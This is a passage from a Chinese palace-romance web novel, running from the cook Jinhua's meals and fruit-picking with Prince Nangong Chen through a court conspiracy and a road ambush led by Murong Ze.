配着用新鲜的胡萝卜煎的煎饼,真是好吃极了!
锦婳将黑芝麻糊和胡萝卜煎饼端上桌,也不叫隔断后看书的南宫宸,自顾自
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地吃了起来。
南宫宸表面上是在看佛经,实际上眼睛一直盯着锦婳在打转。
锦婳忙忙碌碌一早上,就为了做这口煎饼和糊糊。
这丫头也怪有耐心的,而且她对待食材的确心细,即便是满地都是的胡萝卜,在她手里也能变成美味的膳食。
只是这丫头吃饭不叫自己是什么意思!
南宫宸放下手中的佛经,掀开衣摆起身坐到锦婳面前。
见锦婳吃得香,南宫宸也拿起一块胡萝卜煎饼,小小咬了一口。
本以为胡萝卜是脆的,可咬在嘴里却比面饼还要软烂!
带着胡萝卜特有的甜味,南宫宸是不爱吃胡萝卜的,可锦婳做的这些胡萝卜煎饼他却连吃了几张!
连吃了几张煎饼,南宫宸又觉得口干,便又从大碗里盛了一些黑芝麻糊来喝。
他竟不知黑芝麻熬成糊竟是这么香,锦婳好像还放了些冰糖,吃到嘴里泛着丝丝的甜味!
锦婳见南宫宸爱吃,便将黑芝麻糊和煎饼往他面前推了推道:“早饭吃得晚,我刚刚看见小厨房里有红豆,一会儿我去拿水泡上,中午煮了红豆沙,再挫几个糯米丸子放到里面,当午饭吃可好?”
南宫宸的嘴正忙着吃,只敷衍地点了点头,反正锦婳做什么他便吃什么,总好过吃寺庙的斋饭吧!
锦婳又道:“明日就要起程回宫了,你路上想吃些什么,我今日提前做好,明日给你带着路上吃。”
南宫宸听出了锦婳话里的不舍,看来这丫头在这寺庙中是没住够。
想来也不过是舍不得那小菜园,这丫头就喜欢和吃食打交道!
不过没关系,她若是喜欢,在自己的殿中给她开垦出一块小地来栽种瓜果蔬菜便是了!
南宫宸是极爱看锦婳忙碌、做饭的,他在宫中生活多年,这是第一次在一个人身上感受到人间烟火气,最抚凡人心。
他想着,自己这般的依赖锦婳这小丫头,除了一丝爱意,更多的可能便是她身上的那股烟火气吸引了自己。
第168章 摘果子
南宫宸吃饱了,也腾出了嘴来与锦婳说话。
他用帕子擦了擦嘴道:“不用准备什么,今日我带你去后山摘果子怎么样?”
“那日我与七妹在后山摘了很多果子,树尖上的最甜,可惜都被七妹吃了,今日我再带你去摘一些尝尝!”
后山?
锦婳皱了眉,后山对于她来说是不太平之地。
见锦婳皱眉,好像不感兴趣,南宫宸又道:“就当是陪本王去,你看可好?”
锦婳见南宫宸兴致正高,再说明日就回宫了,也不好搅了他的兴致,便道:“后山虽说是在大悲寺里,可偏僻得很,殿下若是想去,要多带些侍卫去,才安全一些。”
南宫宸听见锦婳肯去陪他摘果子,便立刻笑了:“不就是多带几个侍卫吗!那有什么难,便把屋外的侍卫都带着便是了!”
两人带着十几名侍卫,一同去了后山。今日去后山走的路与那日锦婳独自走的那条路不同,锦婳心里算计着,该是不会遇见那些蛮夷了吧!
后山的果子树很多,也不需专人照看,果树长得茂盛参天。
南宫宸看上了一颗橙子树,便要爬上去摘。
锦婳却劝他道:“殿下,这棵树果子都在树尖,可树尖的树枝又太细,爬上去怕是会有危险。”
“明日我们便要回宫去了,还是不要节外生枝了。”
南宫宸却有些恋恋不舍道:“那日遇见一个僧人,他对本王说,树尖上的果子是最甜的。”
“这棵橙子树低处的果子都被摘完了,只剩树尖上的果子还无人摘,我们不摘回去,岂不是可惜了?”
锦婳听了觉得奇怪,这树尖的树枝那般细,若是南宫宸爬上去掉下来,不死也是受伤,那僧人究竟是何居心?
锦婳又想起那日在后山听见慕容泽与一僧人谈话间,叫那位僧人静德大师。
便随口问了南宫宸一句:“殿下可还记得那僧人的名字?”
南宫宸思索片刻道:“那日我听有小僧人好像唤他静德大师。”
锦婳心中了然,那便是没错了!
三皇子殿下这是想尽办法要除掉南宫宸!
说不定已经开始准备要下手了。
南宫宸见锦婳看着橙子树愣神,以为她也是想要树尖的橙子,便顾不了那么多,想要往树上爬。
锦婳眉目一转,拉住他道:“殿下,我倒是有一个好主意,我们可以不用上树,也能摘到树尖上的橙子。”
南宫宸好奇道:“什么主意?”
锦婳捡起两根树枝,又用细细的藤蔓将两根树枝捆绑缠住。
就这样缠了三四根粗树枝,竟变成了一根长棍子。
锦婳将长棍子递给南宫宸道:“殿下,可以用这根棍子将树尖上的果子打下来,我拿着小筐在下面捡,这样捡橙子又快又多。”
南宫宸觉得,这丫头机灵得很,看来小时候没少这样摘果子吧!
南宫宸挥着杆子打树尖上的橙子,锦婳拿着小背篓在地上捡。
不一会儿锦婳就捡了满满一小筐橙子。
锦婳看侍卫们都守在十米开外处,警戒着,便放松了下来,与南宫宸坐在树下吃着橙子。
锦婳很喜欢这筐橙子,扭头对南宫宸道:“回去我用这橙子榨了汁给你揉了面,做成橙子味的蒸面包,明日出发带着给你路上吃。”
南宫宸吃着橙子,与锦婳坐在树下吹风乘凉,觉得心里爽快极了。
若是回了宫,恐怕就没有这般的好日子了,所以格外珍惜当下。
这几日,大悲寺经常有蛮夷走动,他虽表面上装作若无其事的样子,但暗地里也知道三哥兴许是要有所行动。
恐怕回去的路上就要对自己动手。
他一时兴起要来后山摘橙子,锦婳兴许也是有所察觉,才叮嘱自己多带一些侍卫。
但锦婳这丫头想得还是太简单了些,若是三哥执意要自己性命,带多少侍卫也是防不胜防的!
两人背着橙子从后山回前院,因锦婳想着要摘些脆柿子,明日带着路上吃,
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走的便是另外一条偏僻的小路。
这一路僧人们栽种的都是脆柿子树,因着柿子树不高,锦婳走一路,摘一路,不一会儿竟摘了满满一篮子。
锦婳习惯随身携带小刀,用来给食物削皮。
这脆柿子削了皮吃,口感特别好吃,像苹果一般的甜脆,没有一丝柿子的涩嘴。
锦婳把削好皮的脆柿子递给南宫宸:“殿下,你吃一个尝尝,这脆柿子可不是哪里都能摘得到,很少有人会种脆柿子树,都是种橘子、苹果、梨子的居多。”
南宫宸结果锦婳递来的削好皮的脆柿子,他吃水果都是宫人们削成一块一块的,放在盘子里用小勺挖着吃。
这样大口去咬,满嘴流汁,多少有些不雅吧?
南宫宸皱眉犯了难,拿着脆柿子,吃也不是,不吃也不是。
锦婳却不管那些,自己削了一个脆柿子,大口咬了一口,真是又甜又脆,免不得又贪心了一番,真是觉得摘多少都不够吃。
南宫宸见锦婳吃得那么香,也豁出去大口咬了一口,这味道绝了!怪不得锦婳非要走这条栽种脆柿子树的小路,这简直就是人间美味啊!
锦婳看南宫宸吃的大快朵颐,不禁笑嘻嘻地看着他问:“可要再削一个给你吃?”
南宫宸嘴里还含着脆柿子,嘴里含糊不清,重重地点了点头。
两人嬉笑的这一幕却被小路旁,树丛后路过的人看得一清二楚。
慕容泽在灌木丛后低垂着眼眸,灌木丛前的小路上,那两人的嬉笑怒骂变得极为刺耳,自从那日与静德密谋被那小丫头撞破,还捡到了她在财神殿求的神符,慕容泽的心就整日被一股莫名的情绪笼罩着。
可谓是内心五味杂沉,内里心火焚烧一般。
他就是这样一个人,对于心爱又得不到的东西,总是格外的执着。
她在他面前撒泼的样子,她给他做吃食的样子,她心情不好冷眼瞥他的样子,他也不知为何,对她总有那么一股偏激的深情。
第169章 勾结
一个时辰后,南宫宸将锦婳圈在屋子里给他剥橙子。
南宫燕听说南宫宸和锦婳又去摘了果子,嘴馋得很,便嚷着要陆卿尘陪他来南宫宸这里拿果子吃。
正值午后,南宫燕吃了果子,又被暖阳一晒有些犯困,便在南宫宸的软塌上打盹儿。
南宫宸与陆卿尘在桌案上下棋,屋子里一片祥和的安静,只有棋子落在棋盘上的声音。
锦婳则坐在小椅上,安静地剥着橙子。锦婳剥得很细,先拿刀划开橙皮,在将橙肉掰成一瓣瓣的,就连白色的橙络都一丝一丝地挑下来。
陆卿尘下着棋,也不时地瞟两眼锦婳,总觉得这小丫头不一般,做事认真得很,心思也沉,能耐得下心,有这样心思的人很是少见。
锦婳剥着橙子,也不时看两眼那两人的棋盘,她虽不会下棋,但整日地看陆卿尘自己与自己对弈,到了今日,也能看懂了几分。
南宫宸的水平实在是太烂了!陆卿尘虽说是与他下棋,但心思明显没用在下棋上。
连输了几局,南宫宸便觉得无趣了,所幸便不下了,坐在锦婳对面吃她剥的橘子。
锦婳打趣他道:“殿下也不必失落,何必拿自己的短处去碰别人的长处,再说下棋本来便是陶冶情操的事,有不是统兵打仗,输了又如何?”
锦婳说完,把剥满橘子的小碗往南宫宸面前推了推。
陆卿尘听了这话,心中却犯了疑,她怎么知道下棋是他的长处,说得好像很了解他一样!
不知为何,下棋时全神贯注的他,也会因她在一旁而乱了心神。
锦婳也不管这几位主子,拿了几个小筐里的橙子,自顾自地做起了蒸面包。
橙子锦婳将橙子用细盐洗了,又剥了皮,橙肉用工具捣烂,再用纱布滤出汁水。
橙皮锦婳用小刀刮掉白色的络,只留下薄薄的一层皮后,又切成小碎块。
接着又舀了两勺面粉,倒入橙汁和砂糖揉面。
面要揉好时,加入切碎的橙皮,再揉上半刻钟。
蒸面包不比馒头,馒头实在便好,面揉上一会儿,上锅醒发,一会儿便可以蒸了。
蒸面包的面要揉上至少半个时辰,面包蒸出来才能宣软、入口即化。
锦婳揉面的功夫,七公主也醒了,几人就在屋里看锦婳忙活着。
面揉好后,锦婳拿来一个底深的大碗,将碗里抹了油,又把揉好的面团放进大碗里铺平。
锦婳端去小厨房点了火,上了锅,蒸了足足半个市场,一大个蒸面包便做好了。
锦婳把大碗装的面包端进屋里,橙子味飘了满屋。
锦婳也不多言,只是自顾自地给每人都分了一块,剩下的装进口袋,明日带着路上吃。
锦婳做的吃食南宫宸自是都爱吃的,南宫燕也是极为捧场,毕竟这寺庙里能吃的东西有限,不在五哥这里混口吃的,怕就是要整日里饿着肚子了。
陆卿尘拿起蒸面包,却觉得异常的熟悉,掰了一小块儿放进嘴里,怎么总觉得这蒸面包他在哪里吃过?
却又怎么也想不起来!不知为何,只要他努力想要想起些什么时,便觉得头疼难忍,所幸也就不去想了。
锦婳又准备了些果茶,南宫宸嘴里还是经常没有味道,喝普通的茶水太过没有滋味,便煮了些梅子茶带着路上喝。
锦婳煮好茶后还是给三人各倒了一杯,递到陆卿尘时,心中一阵酸涩,眼睛竟然有些灼热,锦婳赶忙避开陆卿尘的眼神,假装去一旁忙活着。
陆卿尘似乎也感觉到了锦婳眼神的变化,也朝着锦婳忙碌的方向看去,锦婳虽手里干着活,但也感觉到背后有人盯着自己看,酥酥麻麻的。
虽不在宫内,但屋里也是主子们待的地方,平日里七公主和陆卿尘不来,她还可以和南宫宸混在一处。
今日七公主和陆卿尘在,她再混在屋里怕是不能了。
屋里主子们在聊天,说着明日回宫的事儿,锦婳收拾好东西后,就坐在廊檐下发呆。
大悲寺地处高,能模糊地看到远处的岱山,又想到陆卿尘为了摘幽冥之花
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救自己,成了这副样子,心里一阵难受。
锦婳怕自己胡思乱想,便捡了一根地上的树枝佯装是笔开始写字。
这几个字还是在离县时陆卿尘有空闲时教自己的。
后来暗卫营来了,陆卿尘不知为何住到了暗卫营,人也开始忙了起来,她便再没缠着他学过字了。
几个主子在屋里聊了一会儿,天色暗了,南宫燕与陆卿尘便起身要回自己的小院。
出门时陆卿尘看见锦婳在院子里用树枝写字,那几个字写得虽不算好看,但也工工整整。
特别是笔锋的转折,竟在笔法上与自己如出一辙!
陆卿尘临出门时,回头意味深长地看了眼锦婳。
即便是追问,也是问不出什么的,日后若是有机会,再单独盘问那丫头便是。
三皇子屋内。
一道暗影闪过。
三皇子面上却不见丝毫慌乱,沉声道了一句:“慕容君若是来了,何必要做梁上君子,不如下来一起喝杯茶,叙叙旧也好。”
慕容泽本也是来与南宫仁商议明日行刺之事,只怕屋里有人,才隐在暗处。听见南宫仁如此说,便从屋顶处跳了下来,从院落大大方方的进了屋子。
如今苍狼在慕容手中握着,他早已不是当年那个被人牵制着的苍狼太子了。
老国王虽还活着,但也是毫无实权,慕容雪没了程怀安,一丝利用价值也没有,便被送去了邻国和亲,就连老国王也不愿多留她一日。
苍狼军又骁勇善战,勇猛拼杀,一时间竟成了各国储君争夺的对象。
不只是南宫仁暗中与慕容泽勾结,就连地大物博的大乾大皇子殿下,陆卿珏也是对慕容泽百般的讨好。
慕容泽随意的坐在南宫仁对面的座位上,南宫仁眉眼一眯,倒了一杯热茶,将茶碗向慕容泽的方向推了推。
“明日之事可都安排妥当?”
南宫仁沉声问。
慕容泽放浪一笑:“那是自然,只不过明日助你成事后,除了金银,我还要向你讨一人。”
第170章 暴雨
南宫仁知道,慕容泽这人是非常狠的,只是不知他要的是何人?难不成是南宫燕?只是南宫燕已经订了亲,再怎么说她也是自己的亲妹妹,若是给了这蛮夷……
南宫仁仅有一点的良心,只维持了那么一刻,便烟消云散。
思索片刻,南宫仁皱眉道:“你要的是何人?”
慕容泽放下茶杯,茶杯已经喝得见底,他向前凑了凑,靠近南宫仁。
南宫仁莫名地感到一股压迫感,不觉地向后退了半寸。
只听慕容泽嘴里吐出几字:“我要你们五皇子的厨娘,锦婳。”
南宫仁在听见锦婳这个名字时,心里竟松了一口气,不过是个厨娘,就算慕容泽要的是南宫燕,他也是要给的!何况只是个小厨娘。
南宫仁嘴角一抹淡笑道:“我当慕容君要的是什么星星、月亮,不过是一个小厨娘,你若要便拿去。”
对慕容泽来说,权势已经在手,便觉得没什么感觉了。钱财如今也不缺,邻国的储君如今又都在拉拢他,金银财宝成车地往苍狼拉。
只是锦婳,是他内心深处最柔软的地方,他势在必得!
慕容泽闭目不再说话。
本来下午天气便有些多云,现下突然狂风大作。
一声闷雷后,下起了急促的雨点,打在窗棂上,门口很快汇聚了一条小河。
门外**,显得屋内更加安静无声。
慕容泽终于睁开眼开口缓缓道:“明日我可助你杀了你的一切阻碍,也可助你的太子之位。”
慕容泽对南宫仁缓缓的,一字一句的说出了今日此行的目的:“作为报酬,我只要锦婳。”
慕容泽起身转身走进雨里,年轻英俊的面容上是毫不留情的坚毅,南启国的任何人,他从未放在过眼里。
他近日来,只是来通知南宫仁,而并不是与他谈条件,他不配!
南宫仁看慕容泽走进风雨里的背影,身子一僵,他万万没有想到,这个**不眨眼的苍狼狂魔,竟会对一个小厨娘还有点感情。
外面**,慕容泽独自走在风雨里,他狠狠地压抑着自己内心深处的疯狂。
他恨不得现在立刻就把锦婳那丫头抢回来,毕竟南启国不管是皇子还是侍卫,都没有一个中用的,任谁也不是他的对手!
孤独地活了这么多年,只有遇见锦婳的那段时日,内心深处还有那么一丝温暖。
这些年,无人与他立黄昏,无人问他粥可温,她活得如同行尸走肉一般。
他这般的浴血奋战是为了什么?无非是为了自己心爱的人和物不再被人轻易踩碎夺走!
既然他好不容易抓住了她露出头的小尾巴,不安绝不会再放手!
既下定了决心,南启的那帮窝囊废又无人值得他有所顾忌,那明日他便直接抢人了!
锦婳坐在屏风后的软塌上看着窗外这场突如其来的暴雨,有些担忧。
明日下山,怕是要山路泥泞,怕是要路不好走了!
南宫宸去皇后娘娘那里,帮着安排明日出发的事宜,现在还没回来。
外面的雨下得这样大,不知皇后娘娘那里有没有伞,想到这锦婳不免有些担心。
屋里的角落里正好立了把落灰的伞,锦婳在屋里也是无聊,索性就撑着伞,沿着廊下去迎南宫宸。
结果刚出院子,还没走几步,便看见南宫宸由侍卫撑着伞,从暴雨里走回来。
南宫宸看见锦婳独自撑着伞站在雨里等他,便皱眉道:“你怎么这般的胡闹,这么大的雨,本王自然有侍卫护着,还需要你一个小丫头出来接吗!”
锦婳却不以为然,倔强道:“我在屋里闲着也是无事,再说我怎就那般的娇贵了,下雨又怕什么?”
南宫宸却不再与她斗嘴,夺过锦婳手里的伞,将她簇拥到廊檐下。
南宫宸摆手让侍卫退下,他自己帮锦婳打着伞。
这场暴雨下的狂风大作,即便是打着伞,廊檐下也满是积水,两人冒着**一路从廊下走进屋
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里。
锦婳走在里侧,风雨全由南宫宸挡着,进了屋锦婳才发现,南宫宸靠外侧的衣服、鞋子全都湿了。
南宫宸放下雨伞,进了里屋去换干净的衣裳,等他出来时,发现锦婳正坐在软塌上绣荷包。
锦婳抬头看南宫宸只穿了件里衣,非礼勿视,便低下头继续绣荷包。
锦婳漫不经心地问道:“殿下怎么去皇后娘娘屋里回来得这样晚?”
“今日**,明日山路恐怕要不好走,队伍可还会按时出发回宫?”
南宫宸在她对面坐了下来,静静地看着锦婳绣荷包。
这小丫头还惯会享受的,外面**,她在屋里绣着荷包,桌上一壶泡得香甜的梅子茶,还有两盘新摘的果子,旁边还有梅子腌制的蜜饯。
南宫宸拿起一枚蜜饯放进嘴里,入口微酸,后劲缓缓泛着甜,比宫里做的齁甜的果子蜜饯好吃了不知多少倍!
嘴里含着蜜饯,南宫宸随口道:“明日必然会回宫,母后说后日要接待大乾的使臣,堂堂南启国,接待使臣皇后娘娘不在宫中像什么样子!”
“今日母后交代了一些接待使臣的事宜,所以回来晚了些。”
说完,南宫宸心里回过味来,眉目一挑道:“你问这些做什么?可是见我回来晚了些,心中惦记着本王?”
锦婳没好气地瞥了南宫宸一眼,无奈地摇了摇头。
这人总是说说话便没了正型,初见会觉得他不正经得很,相处久了便知道,他并非轻浮之人,也渐渐地放下了戒心。
外面的雨下得更加倾盆,天色更加暗了几分,屋内的烛光投在南宫宸的身上,将他的影子打在墙上,竟显得高大了几分。
就像刚刚在廊下,他将伞倾向自己,把风雨都隔绝在外,让人觉得莫名的安稳。
锦婳继续绣荷包,也不抬头看他,只淡淡道:“我晚上做了素丸子和糖醋藕,见你总也不回来,想来是你在皇后娘娘那里吃过了,我便都吃光了。”
第171章 劫道
谁知南宫宸听了也是不气,神色微凝,看着锦婳道:“你是不是认识我七妹救回来那汉人?”
锦婳正在绣荷包,听见南宫宸这么问,神色一紧。
他怎么能看出来的?!
锦婳手上的动作没停,沉默了片刻,开口道:“我并不认识你说的那位公子。”
南宫宸手指在衣袍上微微缩紧,这丫头在说谎!她都不敢看自己的眼睛!
锦婳这丫头对谁都淡淡的,她看那汉人的眼神明显不对,以她的性子,是不会去情不自禁的去瞟哪个男子的。
锦婳抬头,看南宫宸正皱眉看着自己,薄唇微抿,苦笑道:“我真的不认识你说的那位公子,汉人那么多,我怎可能每一位公子都认识?”
就算她说出与陆卿尘相识又能如何?如今是陆卿尘不肯认她!
南宫宸这人的观察力真是极强,平日里别看他与她嬉笑怒骂,但正事是从不掉链子,想来也是用此法来掩盖自己的真正实力和野心。
能生在皇家者,又哪有一个简单的?
南宫宸看了看锦婳手里的荷包,旁的女子都爱绣花,锦婳倒好,绣了一个金元宝。
“早些睡吧,明日还要早起赶路。”南宫宸语气很淡,起身回了里屋自己的软榻上。
锦婳可能一辈子也不知,不知何时,她对于他已经成了如此重要的存在。
就像一道光,微微的,但却就这么直直地照进了他的生命里。
就算生在皇家必须无情无爱,但他还是忍不住的对她动了心,本来习惯了扮猪吃老虎的他,竟变得有些不认识自己了,太子之位的争夺,三哥已经红了眼,这场仗即便他不想打,也要被迫陪着他打下去了。
可锦婳的出现,还是成了他心中最柔软之处。
这场仗打完,夺了太子之位,他想让锦婳嫁与他,并非是侍妾,也不是侧妃,只是妃。
他知道锦婳未必肯答应,但以他的性子是断然不会放她离开的,也许他会算计,说不定会强娶了她。
他甚至有些疯魔,他不敢想若是有一天,锦婳要离开南启,离开皇宫,离开他。
若是到了那日,他便如**一般把她关起来!
窗外的**并未停止,锦婳放下手里的荷包,想着如今陆卿尘与自己的疏离,不知为何,竟然想哭。
庭院里种的茶花树白日里开得正好,也被**打掉了花和叶子。
锦婳苦笑,她也不想对南宫宸说谎,其实她也不算是说谎。
如今她与陆卿尘的关系,的确可以算作是不相识。
看了一会儿雨,锦婳有了些困意,想到明日还要早起,便躺在榻上胡乱地睡了。
第二日一早,南宫宸已经起了身,丫鬟端了洗脸水进了,却看见主子自己在穿褂子,锦婳倒是在外间的榻上睡得正香。
南宫宸见外间有动静,好像有人推门进来,便穿上了鞋,去外间查看。
原来是丫鬟送水来,连他自己都出乎意料,他竟对丫鬟做了个噤声的手势,摆手让丫鬟把水放下,出去等。
看看日头,时间还早,让这小丫头再多睡一会儿。
他也索性就坐在她的榻边看着她睡,锦婳好像睡梦中感觉到旁边有人,便皱眉拱了拱。
南宫宸觉得可爱,失了笑。不禁拍了拍她的背,像哄小狗一般。
锦婳睡梦中感觉有人拍自己,便觉得满是安全感,幼时的记忆里,睡觉时娘亲便是这么拍她。
锦婳亲缘浅,娘亲早逝,爹爹又不亲她,弟弟年幼还需要她护着,继母与继姐不搓磨她就烧高香了。
她想到在那个家里宛若浮萍,无依无靠,梦中竟不觉抽噎了两声。
窗外的雨早就停了,青蛙和蝉都在雨后出来鸣叫,锦婳躺在榻上,身边有个人护着,睡得安稳极了。
**下了一夜,终于是停了。
慕容泽大刀金马地坐在椅子上,对侍卫淡然道:“一个时辰后出发,把人数再点一遍。”
慕容泽将刀拔出鞘,眼神透出刀锋般锐利的凶光,她已经逃了一次了,他绝
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不会让她再逃第二次!
慕容泽紧紧握拳,骨节突出,面上竟露出孤傲的笑容,对于她,他势在必得!
他头一次觉得蛰伏了十几年,是如此正确的决定。
想到他曾在陆卿尘手里失过她,今日又要在南宫宸手中夺回她,内心狂喜,又带着愤怒与嫉妒,情绪实在太过复杂,此刻又都在心里交锋着,酸涩、激动,险些让他失了分寸。
此刻大悲寺的门前很是热闹,马车排成了一个车队,丫鬟婆子们忙里忙外地收拾着东西,皇子公主们由下人扶着上了马车。
皇后娘娘则被婢女们簇拥着与方丈寒暄了几句,此次来大悲寺,很是功德无量。
皇后娘娘每日里吃斋念佛,闲暇时便与主持方丈参禅,听讲经。
既为南启求了风调雨顺,子民安居。也为陛下求了福寿永昌,子女幸福美满。
与主持方丈道了别,皇后娘娘也被搀扶着满心欢喜地上了马车。
大雨过后,阳光正好。锦婳睡了个懒觉,精神头也足了起来。
此时出发,天高云淡,天气不冷不热。
马车窗外树的影子斑驳,马车行得不快不慢,晃晃悠悠,不徐不疾。南宫宸在马车里看着闲书,锦婳喝着梅子茶吃着点心,悠哉极了。
马车队伍一路走到了半山腰,锦婳在马车上晃悠的昏昏欲睡。
不觉竟将头靠在了南宫宸的肩膀上,南宫宸看着书,突然感觉到小丫头毛茸茸的碎发摩擦着自己的脖颈,痒极了。
可看锦婳睡得正熟,又不忍心吵醒,只能硬挺着。
正在这时,马车外传来一阵喧嚣,是有人劫道!
放眼南启,还有人这么大胆子,敢劫皇后娘娘的马车?
锦婳也被外面吵嚷的声音弄醒了,透过马车窗帘的缝隙,锦婳朝外看去,竟是苍狼人!
一群苍狼侍卫身后的人,正是慕容泽!
冤家路窄!她怎么总能碰见慕容泽!
真是出门没看黄历,只要是遇见慕容泽准没好事!
第172章 打斗
随行的侍卫人数不少,皆拔刀挡在皇后娘娘的马车前面,誓死守卫。
最令人感到诧异的竟是三皇子南宫仁,据锦婳所知,几位皇子里南宫仁是不会功夫的,看见蛮夷来犯,竟也拔剑守护在皇后娘娘马车前。
锦婳转头诧异地对南宫宸道:“殿下,你没看见蛮夷来惊扰皇后娘娘吗?三皇子已经下了马车去保护皇后娘娘了,你怎么还坐在这?”
“你竟一点也不担心皇后娘娘的安危吗?”
南宫宸嘴角挑起一抹不屑的笑,眼睛却并未离开书:“母后不会有事,三哥自然也没有性命之忧,你没看出来吗?这只不过是场里应外合的戏码。”
锦婳不懂,瞥了眼南宫宸,透过马车帘子继续观察。
蛮夷似乎真如南宫宸所言,虽然挑衅,但打斗起来并未下狠手。
南宫仁倒是死守在皇后娘娘的马车前,眼神坚毅,似乎谁要敢动皇后娘娘,他便要拼死与那人一战!
锦婳回头瞥了一眼南宫宸,这人还真是镇定!眼睛一直没离开书,也不知是什么书这么好看,外面都打斗得那般激烈了,他还有心看闲书!
锦婳想到,陆卿尘和七公主的马车,就在南宫宸的马车后,不知会不会有危险。
但又想着,以谢威的机敏,定是在暗处暗中保护着陆卿尘的,也不必她操心费力。
锦婳稍稍一个走神儿,再伸头看时,三皇子竟被一名苍狼侍卫刺了一剑,正中左肩。
锦婳吓得一惊,手中的点心也落了地。
南宫宸看着点心皱眉道:“你怎么这般的不小心,这点心是本王与你亲手摘的橙子做的,你怎么就掉在了地上?”
锦婳也是无奈了,南宫宸这人到底分不分得清轻重缓急,便急着道:“你三哥受了伤,如今倒在了皇后娘娘的马车旁,你究竟有没有心,竟也不去救他?”
南宫宸听出锦婳的语气里有埋怨,便合上书解释道:“不过是苦肉计罢了,也只有你这个脑子一根筋的人跟着揪心!”
锦婳懒得再理南宫宸,眼睛盯着窗外,看着南启的侍卫节节败退,心也跟着揪在一起!
眼看蛮夷的侍卫要逼近皇后娘娘的马车,锦婳的心也跟着揪作一团。
三皇子受了伤,被宫人拖进了皇后娘娘的马车里。
可蛮夷的侍卫竟突然调转方向,朝锦婳和南宫宸的马车飞身而来!
所有的侍卫都去保护皇后娘娘的马车了,南宫宸与锦婳的马车旁竟空无一人!
不好!是调虎离山!
锦婳想,难不成自己的小命今日就要葬送在这深山之中了?!
南宫宸应该也是会些功夫的,感觉到蛮夷侍卫的脚步声离自己的马车越来越近,三哥……终于要对自己下手了!
其实,今日路上蛮夷一出现,三哥便挡在母后的马车前,他便知道蛮夷的目标并非母后,而是自己的小命!
而这幕后的指使者竟是自己嫡亲的三哥!
身为皇家人,这便是他们的命!
争夺皇位凶险万分,胜了便是至高无上的王,败了便是累累白骨……
眼看苍狼侍卫逼近,锦婳也拔了一直藏在靴鞋里的**。
这把**是她入南启皇宫之前让锦书去兵器店打造的,特地用来防身。
锦婳把镶嵌宝石的**拔出鞘,挡在南宫宸前面。
南宫宸觉得有些好笑,又有些感动。
好笑的是他一个大男人何时需要一个小丫头来保护了?
感动的是,锦婳这丫头虽然平日里对他总是凶巴巴的,但也从未亏过他的肚子和舌头,今日遇了事,也不顾性命安危挡在了自己前面。
七公主和陆卿尘坐在马车里,南宫燕还是头一次见如此激烈的打斗场面,她刚刚又亲眼看着自己的三哥受了重伤,被抬到母后的马车上至今生死未卜。
便吓得往陆卿尘身边靠了靠寻求安慰。
陆卿尘看着马车外的打斗,来犯的像是苍狼族人。
都说苍狼人是养不熟的狼,如今看来,正是来!
陆卿尘的脑子里突然闪现山谷黑夜,他衣袂飘飘,扔下双拐飞身到马车顶射狼的画面。<
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br>那时的他,是为了护他心中珍视之人。
今日看苍狼族人朝着五皇子的马车攻来,想着那小厨娘还坐在那辆马车上,内心竟又再次泛起那股冲动!
陆卿尘起身飞身下了马车,一把夺过侍卫手中的弓箭,飞身上了马车顶!
一人一弓一剑,立于马车顶。
同那山谷黑夜一样,陆卿尘执箭寻找狼王。
慕容泽黝黑着眼睛,一抹邪笑,在后方看着这场好戏。
待南启侍卫节节败退,便是他取南启五皇子性命的时候!
自然,锦婳他今日势在必得!
突然!一支箭朝他射来!
慕容泽本能地朝右躲,但还是被箭擦中了左肩!
剧痛袭来!
慕容泽眼神一冷!朝着箭射来的方向,寻找射箭的人。
最后的那辆马车顶,站着一白衣男子,衣袂飘飘,随风而立,眼神坚毅!
苍狼族人将南启侍卫杀得节节败退,可在马车上那白衣男子眼中却未看到丝毫恐惧。
只见他稳稳执弓,将箭放在弓上,又将弓拉满。
那弓箭的箭尖,准准地指向他!
白皙纤细的手指因拉弓变得骨节分明,手指微微松开弓弦,那只利箭便强而有力地朝着慕容泽射了出去!
好一招擒贼先擒王!
这次,慕容泽准确地躲过了那支狠狠朝他射来,势要取他性命的利箭!
许是被陆卿尘的两箭刺激到了,慕容泽意识到,不能在继续拖延看戏了,若是再不速战速决,恐怕今日难取那五皇子的性命,锦婳也是难以带走!
慕容泽飞身几步便跃到了南宫宸的马车前,一剑撕下马车门帘。
锦婳被这突如其来的一剑吓得惊叫了一声:“啊!”
今天抬起头,与慕容泽的目光对视,慕容泽看她的眼神,势在必得!
锦婳心想不妙!但也知慕容泽最多也只是将她抓回苍狼,并非要杀她!
锦婳跳下马车想要引开慕容泽,毕竟她知道慕容泽不会杀自己,但会不会杀陆卿尘和南宫宸就难说了!